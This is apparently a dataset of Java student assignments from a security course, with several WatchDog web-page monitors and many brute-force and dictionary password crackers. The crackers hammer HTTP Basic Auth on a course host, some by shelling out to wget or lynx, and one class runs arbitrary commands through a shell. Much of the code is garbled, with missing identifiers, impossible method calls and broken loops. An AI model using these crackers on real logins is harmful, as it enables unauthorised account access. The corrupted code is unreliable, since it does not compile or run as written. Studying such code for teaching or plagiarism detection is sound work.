            line = execCommand.readLine();
          }
          outputFile.flush();
          outputFile.print();
          System.out.println(""Checksum produced"");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean checksumOk(File chksumFile){
        try {
          System.out.println(""Comparing checksums using "".concat(chksumFile
              ,e.getName()));
          
          Process process = Runtime.getRuntime().
              exec(""md5sum --check "".concat(chksumFile.getName()));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader( (process.getInputStream())));
          String line = execCommand.readLine();
          if (line.indexOf("": OK"") != -1) {
            System.out.println(""  the same"");
            return true;
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
        System.out.println(""Differences Found"");
        return false;
      }

      

      public void reportDifferences(boolean diffsFound, File file1, File file2,
                                    Vector images){
        try {
          System.out.println(""Generating difference report"");
          
          Socket emailConnection = new Socket(""yallara.cs.rmit.edu."", 25);
          BufferedWriter emailOutStream = new BufferedWriter
              (new OutputStreamWriter(emailConnection.getOutputStream()));
          BufferedReader emailInStream = new BufferedReader
              (new InputStreamReader(emailConnection.getInputStream()));
          String line = emailInStream.readLine();
          System.out.println(line);
          if (!line.startsWith(""220"")) {
              System.out.println
                  ("" error occured connecting  email server. Cannot send email."");
          }
          else {
            
            
            emailOutStream.write(""HELO yallara.cs.rmit.edu."");
            emailOutStream.newLine();
            emailOutStream.flush();
            line = emailInStream.readLine();
            System.out.println(line);
            if (!line.startsWith(""250"")) {
                System.out.println
                    ("" error occured connecting  email server. Cannot send email."");
            }
            else {
              emailOutStream.write(""MAIL FROM: watchdog@cs.rmit.edu."");
              emailOutStream.newLine();
              emailOutStream.flush();
              line = emailInStream.readLine();
              System.out.println(line);
              if (!line.startsWith(""250"")) {
                System.out.println
                    ("" error occured sending email. Cannot send email."");
              }
              else {
                emailOutStream.write(""RCPT : "".concat(email));
                emailOutStream.newLine();
                emailOutStream.flush();
                line = emailInStream.readLine();
                System.out.println(line);
                if (!line.startsWith(""250"")) {
                 System.out.println
                     ("" error occured sending email. Cannot send email."");
                }
                else {
                  emailOutStream.write(""DATA"");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith(""354"")) {
                   System.out.println
                       ("" error occured sending email. Cannot send email."");
                  }
                  emailOutStream.newLine();

                  if (!images.isEmpty()) {
                      emailOutStream.write
                          (""Differences were found in the following image "");
                      emailOutStream.newLine();
                      Enumeration e = images.elements();
                      while (e.hasMoreElements()) {
                        String s = (String) e.nextElement();
                        emailOutStream.write(s);
                        emailOutStream.newLine();
                      }
                      emailOutStream.newLine();
                  }

                  if (diffsFound) {
                    
                    String command = ""diff "".concat(file1.getName().concat("" "")
                                                    .concat(file2.getName()));
                    Process process = Runtime.getRuntime().exec(command);
                    BufferedReader execCommand = new BufferedReader
                        (new InputStreamReader( (process.getInputStream())));
                    line = execCommand.readLine();
                    emailOutStream.write(""Diffences found in  file"");
                    emailOutStream.newLine();
                    while (line != null) {
                      System.out.println(line);
                      emailOutStream.write(line);
                      emailOutStream.newLine();
                      line = execCommand.readLine();
                    }
                  }

                  
                  emailOutStream.newLine();
                  emailOutStream.write(""."");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith(""250"")) {
                    System.out.println
                        ("" error occured sending email. Cannot send email."");
                  }
                  else {
                    emailOutStream.write(""QUIT"");
                    emailOutStream.newLine();
                    emailOutStream.flush();
                    System.out.println(emailInStream.readLine());
                  }
                }
              }
            }
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }


    

    public static void main(String args[]) {
      if (args.length != 3) {
        System.out.println(""Usage: java WatchDog url email checktime(hours)"");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      email = new String().concat(args[1]);
      checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
      new WatchDog();
    }
}
"
047.java,"import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class Dictionary {

    private String password="""";

    private int num=401;


    public static void main(String[] args) {


      Dictionary URLcon;

      int length = 0;

      String passwd="""";

       int t0,t1;

      String line ="""";
      
      if (args.length == 0) {
      	
      System.err.println (
      		
      		""Usage : java BruteForce <username>"");
      return;
      	
      }
      
      String username = args[0];
      
      
      t0=System.currentTimeMillis();
      
      System.out.println (""  "" + new Date());
      System.out.println (""Using Dictionary method  attack ""+username+""'s password.  Please waiting......."");

      try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));

           while ((passwd=in.readLine())!=null) {

           	 URLcon = new Dictionary (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println(""The password: ""+ passwd);

             	double dt =t1-t0;

             	System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds"");
                
                System.out.println (""Finish  "" + new Date());
                
             	return;

             }


           	}

      }catch (FileNotFoundException e){
      	System.out.println(e);
      }catch (IOException e){
      	System.out.println(e);
      }


       System.out.println("" not find the password"");


}

   public  Dictionary  (String password,String username) {

  	  String urlString =  ""http://sec-crack.cs.rmit.edu./SEC/2/"" ;

      
      try {

        String userPassword = username+"":""+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty (""Authorization"", "" "" + encoding);

         url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}"
257.java,"

import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;

 
public class BruteForce 
{
    public final char [ ]  letter = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z'};			  


    public static void main(String args[]) throws Exception
    {
       
        String urlPath = null;
        
        if(args.length > 0)
        {
            urlPath = args[0];
            System.out.println(""URL "" + urlPath);
            BruteForce bForce = new BruteForce(urlPath);            
        }
        else{
            System.out.println(""Please enter URL at command prompt"");
            System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/"");
        }

        System.exit(0);

    }

    
    public BruteForce(String urlPath) throws Exception
    {
        linkToWeb(urlPath);

    }

    public boolean linkToWeb(String urlPath) throws Exception
    {
        HttpURLConnection connection;
        int i, j, k; 
        URL  = new URL(urlPath);
        String let1 = null;
        String let2 = null;
        String let3 = null;
        String usrName = """";
        String usrNamePwd = null;
        String encoding = null;
        boolean ok = false;

        connection = (HttpURLConnection).openConnection();        

      

        for(i=0; i<String.valueOf(letter).length(); i++) {
            let1 = String.valueOf(letter[i]);		

            usrNamePwd = usrName +"":""+ let1;
            encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
            connection.setRequestProperty(""Authorization"", "" "" + encoding);

            System.out.println(let1);
            if(connection.getResponseCode() == 200){
                System.out.println(""Password Found "" +let1); 
                return true;
            }
            connection.disconnect();

            for(j=0; j<String.valueOf(letter).length(); j++) {
                let2 = let1 + letter[j];		

                usrNamePwd = usrName +"":""+ let2;
                encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());

                connection = (HttpURLConnection).openConnection();
                connection.setRequestProperty(""Authorization"", "" "" + encoding);

                if(connection.getResponseCode() == 200){
                    System.out.println(""Password Found "" +let2);
                    return true;
                }
                connection.disconnect();

                System.out.println(let2);

                for(k=0; k<String.valueOf(letter).length(); k++) {
                    let3 = let2 + letter[k];             
                     
                    usrNamePwd = usrName +"":""+ let3;
                    encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
 
                    connection = (HttpURLConnection).openConnection();
                    connection.setRequestProperty(""Authorization"", "" "" + encoding);

                    if(connection.getResponseCode() == 200){
                       System.out.println(""Password Found "" +let3);
                       return true;
                    }
           
                    connection.disconnect();
                    System.out.println(let3);
                    
                }
            }

        }

        System.out.println(""Password not found"" );
        return false;

    }



    public class  Base64Converter
    {

     public final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     public String  encode ( String  s )
     {
        return encode ( s.getBytes ( ) );
     }

     public String  encode ( byte [ ]  octetString )
     {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ]; 
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
          out [ outIndex++ ] = '='; 
        }

       return new String ( out );
      }

    }
    
}

"
111.java,"

import java.io.BufferedReader;
import java.io.FileReader;

import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;




public class  Dictionary{
    static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(""logonSite"");
    static final int    LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""logonPort"")).intValue();
	static final String cad = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz"";

    static final int    USE_PROXY_SERVER  = Integer.valueOf(DictionaryPropertyHelper.getProperty(""useProxyServer"")).intValue();
    static final int    PROXY_PORT        = Integer.valueOf(DictionaryPropertyHelper.getProperty(""proxyPort"")).intValue();

    static final String PROXY_SERVER      = DictionaryPropertyHelper.getProperty(""proxyServer"");
    static final String PROXY_USENAME     = DictionaryPropertyHelper.getProperty(""proxyUserName"");
    static final String PROXY_PASSWORD    = DictionaryPropertyHelper.getProperty(""proxypassword"");



    static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(""getMethod"");
    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue();


    public Dictionary() {
        super();
    }





    public static void main(String[] args) throws Exception {

		String statusLine = "" "";
		int count = 0;
		int divValue = 0;

		String userName = """";
		String password = """";


        HttpClient client = new HttpClient();

        if (USE_PROXY_SERVER == 1) {
  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));

        }
        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http"");
        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);



		
    	BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(""dictionaryFile"")));

		while ((password = wordFile.readLine()) != null) {


			if (validateWord(password)) {

				client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
				++count;
				System.out.println("" Counter "" + count + "" Password "" + password);

				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;

				if (divValue == 0) {



					System.out.println(""Count: ""+ count + "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one"");
					getMethod.releaseConnection();
					getMethod = null;
					getMethod = new GetMethod(GET_METHOD_HACKER);

				}

		        client.executeMethod(getMethod);

		        statusLine = getMethod.getStatusLine().toString();


				
				

				if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {


					System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);


					System.exit(0);
				}


			}

		}

		System.out.println(""Could not find the password!"");

    }



	
	public static boolean validateWord(String str) {

	


		boolean isValid = false;

		
		if (str.length() > 3) {
			return isValid;
		}

		for (int i = 0; i < str.length(); i++) {
			for (int j = 0; j < cad.length(); j++) {
				if (str.charAt(i) == cad.charAt(j)) {
					isValid = true;
					break;
				}
				else
					isValid = false;
			}
			if (!isValid)
				break;
		}
		return isValid;
	}


}
"
153.java,"import java.io.*;
import java.net.*;

public class BruteForce {
  public static void main(String[] args) {
      BruteForce brute=new BruteForce();
      brute.start();


     }


public void start() {
char passwd[]= new char[3];
String password;
String username="""";
String auth_data;
String server_res_code;
String required_server_res_code=""200"";
int cntr=0;

try {

URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
URLConnection conn=null;


           for (int i=65;i<=122;i++)     {
               if(i==91) { i=i+6; }
               passwd[0]= (char) i;

           for (int j=65;j<=122;j++)     {
              if(j==91) { j=j+6; }
              passwd[1]=(char) j;

            for (int k=65;k<=122;k++)    {
                if(k==91) { k=k+6; }
                passwd[2]=(char) k;
                password=new String(passwd);
                password=password.trim();
                auth_data=null;
                auth_data=username + "":"" + password;
                auth_data=auth_data.trim();
                auth_data=getBasicAuthData(auth_data);
                auth_data=auth_data.trim();
                conn=url.openConnection();
                conn.setDoInput (true);
                conn.setDoOutput(true);
                conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
                conn.setRequestProperty (""Authorization"", auth_data);
                server_res_code=conn.getHeaderField(0);
                server_res_code=server_res_code.substring(9,12);
                server_res_code.trim();
                cntr++;
                System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
                if( server_res_code.compareTo(required_server_res_code)==0 )
                {System.out.println(""PASSWORD IS :  "" + password + ""  SERVER RESPONSE  : "" + server_res_code );
                i=j=k=123;}
                                           }

                                        }

                                    }
        }
     catch (Exception e) {
           System.err.print(e);
           }
  }

public String getBasicAuthData (String getauthdata)    {

char base64Array [] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
      'w', 'x', 'y', 'z', '0', '1', '2', '3',
      '4', '5', '6', '7', '8', '9', '+', '/' } ;

    String encodedString = """";
    byte bytes [] = getauthdata.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length) {
      byte b1 = bytes [i++];
      byte b2;
      byte b3;
      if (i >= bytes.length) {
         b2 = 0;
         b3 = 0;
         pad = 2;
         }
      else {
         b2 = bytes [i++];
         if (i >= bytes.length) {
            b3 = 0;
            pad = 1;
            }
         else
            b3 = bytes [i++];
         }
      byte c1 = (byte)(b1 >> 2);
      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
      byte c4 = (byte)(b3 & 0x3f);
      encodedString += base64Array [c1];
      encodedString += base64Array [c2];
      switch (pad) {
        case 0:
         encodedString += base64Array [c3];
         encodedString += base64Array [c4];
         break;
        case 1:
         encodedString += base64Array [c3];
         encodedString += ""="";
         break;
        case 2:
         encodedString += ""=="";
         break;
       }
      }
      return "" "" + encodedString;
  }
}"
172.java,"


import java.*;
import java.io.*;

public class BruteForce
{

	public static void main(String[] args)
	{
          
          int i,j,k,counter=0;
	  String pass,temp1;
	  
          char oneTemp[] = {'a'};
	  char twoTemp[] = {'a','a'};
	  char threeTemp[] = {'a','a','a'};
	  String function= new String();
          
	  
	  Runtime rtime = Runtime.getRuntime();
	  Process prs= null;
          
	
	
	
	
	
	for(i=65;i<123;i++)
	{
		if( i > 90 && i < 97)
		     i = 97;
		oneTemp[0] = (char)i ;
		pass = new String(oneTemp);
			  
		
			  	
					 

        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
          
              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    prs = rtime.exec(function);

                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
                                 
                  
                    BufferedReader bread = new BufferedReader(stre);

                    while((temp1 = bread.readLine()) != null)
                     {

			
                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
                       {
                              System.out.println(""The password has is:""+pass);
                              System.exit(0);
                       }
                     }

	           }catch(java.io.IOException e){}
               }
	
	
	
		
	
	
	
	for(i=65;i<123;i++)
	{
		if( i > 90 && i < 97)
		     i = 97;
		for(j =65;j<123;j++)
		{
			if( j > 90 && j < 97)
			  j = 97;
			 
			twoTemp[0] = (char)i ;
			twoTemp[1] = (char)j ;
			pass = new String(twoTemp);
			  
		
			  	
					 

        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
          
              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    prs = rtime.exec(function);

                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
                                 
                  
                    BufferedReader bread = new BufferedReader(stre);

                    while((temp1 = bread.readLine()) != null)
                     {

			
                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
                       {
                              System.out.println(""The password has is:""+pass);
                              System.exit(0);
                       }
                     }

	           }catch(java.io.IOException e){}
               }
	   }
	
	
	
		
	
	
	
	
	for(i=65;i<123;i++)
	{
		if( i > 90 && i < 97)
		     i = 97;
		for(j =65;j<123;j++)
		{
			if( j > 90 && j < 97)
			  j = 97;
			  for(k = 65;k<123;k++)
			  {
			  	if( k > 90 && k < 97)
			  		{ k = 97;}
				
				threeTemp[0] = (char)i ;
				threeTemp[1] = (char)j ;
				threeTemp[2] = (char)k ;
				pass = new String(threeTemp);
			  
		
			  	
					 

        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
          
              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    prs = rtime.exec(function);

                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
                                 
                  
                    BufferedReader bread = new BufferedReader(stre);

                    while((temp1 = bread.readLine()) != null)
                     {

			
                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
                       {
                              System.out.println(""The password has is:""+pass);
                              System.exit(0);
                       }
                     }

	           }catch(java.io.IOException e){}
                }
	
		}
	   }	
	}
	
	
}
		
"
119.java,"
import java.util.*;

public class Dictionary {

    private String strUsername;
    private String strURL;
    
    
    public Dictionary(String username, String url)
    {
        strUsername = username;
        strURL = url;
    }    
    
    public void run() {
        Date dtStart, dtEnd;
        
        PasswordFile pwd = new PasswordFile(""/usr/dict/words"");
        PasswordTest tester;
        int i=1;
        boolean bDone = false;
        Result res;

        dtStart = new Date();
        while(!bDone) {
            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
        
            bDone = tester;
            i++;
            if(bDone) {
                
                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                System.out.print(res.toString());
            }
            else
            {
                
            }
            
            
            if(pwd.getPassword() == null)
            {
                System.out.println(""Exhausted word file without finding password"");
                bDone = true;
            }
        }    
     
    }    
    
    
    public static void main(String[] args) {
        
        
        
        
        Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/"");
             
        dict.run();
    }
    
}
"
199.java,"

import java.*;
import java.io.*;
import java.util.*;

public class Dictionary
{
 public String[] passwds;
 public int passwdNum;
 public static void main(String[] args) throws IOException
 {
  Dictionary dic=new Dictionary();
   dic.doDictionary();
  System.exit(1);
 }

 void doDictionary() throws IOException
 {
  Runtime rt=Runtime.getRuntime();
  passwds=new String[32768];
  passwdNum=0;

   time1=new Date().getTime();
  
  try
  {
		File f = new File (""words"");
		FileReader fin = new FileReader (f);
		BufferedReader buf = new BufferedReader(fin);
		passwds[0]=""00"";
		System.out.println("" loading words...."");
		
		{
		 passwds[passwdNum]=buf.readLine();
			 passwdNum++;
		}while(passwds[passwdNum-1]!=null);
		System.out.println(""Finish loading words."");
  } catch (FileNotFoundException exc) {
     System.out.println (""File Not Found"");
  } catch (IOException exc) {
     System.out.println (""IOException 1"");
  } catch (NullPointerException exc) {
	 System.out.println (""NullPointerException"");
  }

	 System.out.println("" cracking...."");
	 for(int i=0;i<passwdNum;i++)
	 {
		try
		{
			
			Process p=rt.exec(""lynx -auth=:""+passwds[i]+"" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
			
			String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
			p.destroy();

			if(ln!=null)
			
			if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
			{
			 System.out.println(""Finish cracking."");
			 System.out.println(ln);
			 System.out.println(""Password is ""+passwds[i]);
			 break;
			}
		} catch (FileNotFoundException exc) {
				i--;
		} catch (IOException exc) {
				i--;
		} catch (NullPointerException exc) {
				i--;
		}

	 }

    time2=new Date().getTime();
   System.out.println(""costs ""+(time2-time1)+"" milliseconds"");
 }

}"
073.java,"

public class Execute {
   public Execute(String cmdline) {
      try {
         
         String[] cmd = {""//sh"", ""-c"", cmdline};
         Process p = Runtime.getRuntime().exec(cmd);
         
         p.waitFor();
      } catch (Exception e){}
   }
}

"
122.java,"

import java.net.*;
import java.text.*;  
import java.util.*;  
import java.io.*;

public class WatchDog {

  public WatchDog() {

    StringBuffer stringBuffer1 = new StringBuffer();
    StringBuffer stringBuffer2 = new StringBuffer();
    int i,j = 0;

    try{

      URL yahoo = new URL(""http://www.cs.rmit.edu./students/""); 
      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));

      String inputLine = """";
      String inputLine1 = """";
      String changedtext= """";
      String changedflag= """";


      Thread.sleep(180);

      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));


      while ((inputLine = in.readLine()) != null) {
           inputLine1 = in1.readLine();
           if (inputLine.equals(inputLine1)) {
              System.out.println(""equal"");
           }
           else {
              System.out.println(""Detected a Change"");
              System.out.println(""Line Before the change:"" + inputLine);
              System.out.println(""Line After the change:"" + inputLine1);
              changedtext = changedtext + inputLine + inputLine1;
              changedflag = ""Y"";
           }
           
      }

      if (in1.readLine() != null ) {
         System.out.println(""Detected a Change"");
         System.out.println(""New Lines Added  "");
         changedtext = changedtext + ""New Lines added"";
         changedflag = ""Y"";
      }

      in.print();
      in1.print();

      if (changedflag.equals(""Y"")) {
         String smtphost =""smtp.mail.rmit.edu."" ; 
         String from = ""@rmit.edu.""; 
         String  = ""janaka1@optusnet.."" ; 
      }


    }
    catch(Exception e){ System.out.println(""exception:"" + e);}
	 
}
		
    public static void main (String[] args) throws Exception {
		WatchDog u = new WatchDog();
    }
}
"
032.java,"
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
import java.net.*;

public class Dictionary
{
   private String userPassword;
   private static int counter;





   public Dictionary(String username)
   {
    String user;
    String password;
    counter = 0;
    user = username;

          try
          {
            FileReader fr = new FileReader( ""/usr/share/lib/dict/words"" );
            BufferedReader bf = new BufferedReader( fr );

              while ((password = bf.readLine()) != null)
              {
                  userPassword = user + "":"" + password;

                   System.out.print(""."");

                     if (password.length() == 3)
                         if (doEncoding(userPassword)== true)
                         {
                            System.out.println(password);
                            return;
                        }

                  counter++;
               }
          }
          catch ( IOException ioe )
          {
            System.err.println( ioe.toString() );
          }
   }




   private boolean doEncoding(String userPassword)
   {
       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
       return doAttempt(encoding);
   }





   private boolean doAttempt (String encoding)
   {

      try
      {
         URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");

         URLConnection uc = url.openConnection();
         uc.setDoInput(true);
         uc.setDoOutput(true);

         uc.setRequestProperty  (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
         uc.setRequestProperty  (""Host"", ""sec-crack.cs.rmit.edu."");
         uc.setRequestProperty  (""Authorization"", "" "" + encoding);

         return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
       }
       catch (MalformedURLException e)
       {
         System.out.println (""Invalid URL"");
       }
       catch (IOException e)
       {
         System.out.println (e.toString() );
       }

       return false;
   }





  public static void  main(String args[])
   {
     Date sdate = new Date();
     System.out.print(""Starting the Ditionary Attack at:"" + sdate + ""\n"");

     Dictionary bf = new Dictionary(args[0]);

     Date edate = new Date();
     System.out.print(""Ditionary Attack ends at:"" + sdate + ""\n"");
     System.out.println(""Time taken by Dictionary is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
     System.out.print(""Attempts  in this session:"" + counter + ""\n"");

   }
}




"
090.java,"import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class Dictionary
{
    public static void main (String args[]) throws Exception {
	Socket socket = null;
	DataOutputStream  = null;
	BufferedReader bf = null, fr = null;
	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
    int found = 0, count = 0;
    String testpasswd;

   	    try {

    	    File inputFile = new File(""words"");
            fr = new BufferedReader(new FileReader(inputFile));
        } catch (IOException ex) {
	        ex.printStackTrace();
        }

         stime = System.currentTimeMillis();
        System.out.println(""Cracking password by Dictionary..."");

        while (((testpasswd = fr.readLine()) != null) && (found == 0))
        {
         	try {

	           
               URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
               URLConnection yc = yahoo.openConnection();

               
               String authString = "":"" + testpasswd;
               String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
               yc.setRequestProperty(""Authorization"", "" "" + auth);
               count++;

               
               BufferedReader in = new BufferedReader(
                                       new InputStreamReader(
                                       yc.getInputStream()));

               String inputLine;
               while ((inputLine = in.readLine()) != null){
                     System.out.println(inputLine);
                      etime = System.currentTimeMillis();
                     System.out.println(""Password found -- "" + testpasswd);
                     System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec"");
                     System.out.println(""# of attempt = "" + count);
                     System.out.println(""End of cracking!"");
                     found = 1;
               }
               in.print();

            } catch (Exception ex) {}
        }
        fr.close();

        if (found == 0) {
           System.out.println(""Sorry,  password found."");
           System.out.println(""# of attempt = "" + count);
           System.out.println(""End of cracking!"");
        }
    }
}"
206.java,"
import java.util.*;

public class WatchDog
{
   private Timer t;

   public WatchDog()
   {
     t  = new Timer();
      TimerTask task = new TimerTask()
      {
         public void run()
	 {
	    Dog doggy = new Dog();
	 }
      };
      
      t.schedule(task, 0, 86400000);
   }
   public static void main( String[] args)
   {
      WatchDog wd = new WatchDog();
   }
}
"
216.java,"
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;

public class Dictionary
{

  public static void  main(String args[])
  {
    StringWriter sw = new StringWriter();
    PrintWriter  pw = new PrintWriter();
    int flag=1;
    String filename = ""words"";
   try
   {
     String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
     String thePassword= new String();

     BufferedReader inputStream= new BufferedReader(new FileReader(filename));
     String line=inputStream.readLine();
     stime = System.currentTimeMillis();
     while (line!= null && flag==1)
	 {
          try {
            URL url = new URL (urlString);


            String userPassword = """" + "":"" + line;
            String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());


            URLConnection uc = url.openConnection();
            uc.setRequestProperty(""Authorization"", "" "" + encoding);
            InputStream content = (InputStream)uc.getContent();
     endtime = System.currentTimeMillis();
            BufferedReader in   =
                      new BufferedReader (new InputStreamReader (content));
            String line2;
            while ((line2 = in.readLine()) != null) {
            pw.println (line2);
            }
            flag=0;
    System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
          }catch (MalformedURLException e) {

           flag=1;
          }catch (IOException e) {

